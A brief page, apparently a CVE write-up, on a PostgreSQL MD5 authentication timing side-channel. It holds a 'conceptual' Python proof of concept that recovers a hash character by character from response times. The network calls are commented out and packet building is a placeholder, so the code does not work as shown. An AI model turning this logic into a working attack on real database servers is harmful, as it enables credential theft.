CVE-2026-6478 PostgreSQL MD5认证时序信道漏洞

import socket import time # Conceptual PoC for timing attack analysis # This script simulates the logic to measure response times for different hash guesses. def measure_timing(host, port, payload): start_time = time.perf_counter() # In a real scenario, send a PostgreSQL authentication packet with the specific hash guess # sock = socket.create_connection((host, port)) # sock.send(payload) # response = sock.recv(1024) # sock.close() end_time = time.perf_counter() return end_time - start_time def attack_hash(host, port, username, known_prefix): # Iterate through possible characters (0-9, a-f) char_set = '0123456789abcdef' current_hash = known_prefix for _ in range(32): # MD5 hash length timings = {} for char in char_set: guess = current_hash + char # Construct payload based on PostgreSQL protocol payload = construct_postgres_auth_packet(username, guess) # Measure multiple times to reduce noise total_time = 0 for _ in range(10): total_time += measure_timing(host, port, payload) avg_time = total_time / 10 timings[guess] = avg_time # Select the character that resulted in the longest time (likely the correct one) next_char = max(timings, key=timings.get)[-1] current_hash += next_char print(f"Progress: {current_hash}") return current_hash def construct_postgres_auth_packet(username, pwd_hash): # Placeholder for actual protocol implementation return f"AUTH {username} {pwd_hash}".encode() # Note: Actual exploitation requires network access and noise reduction techniques.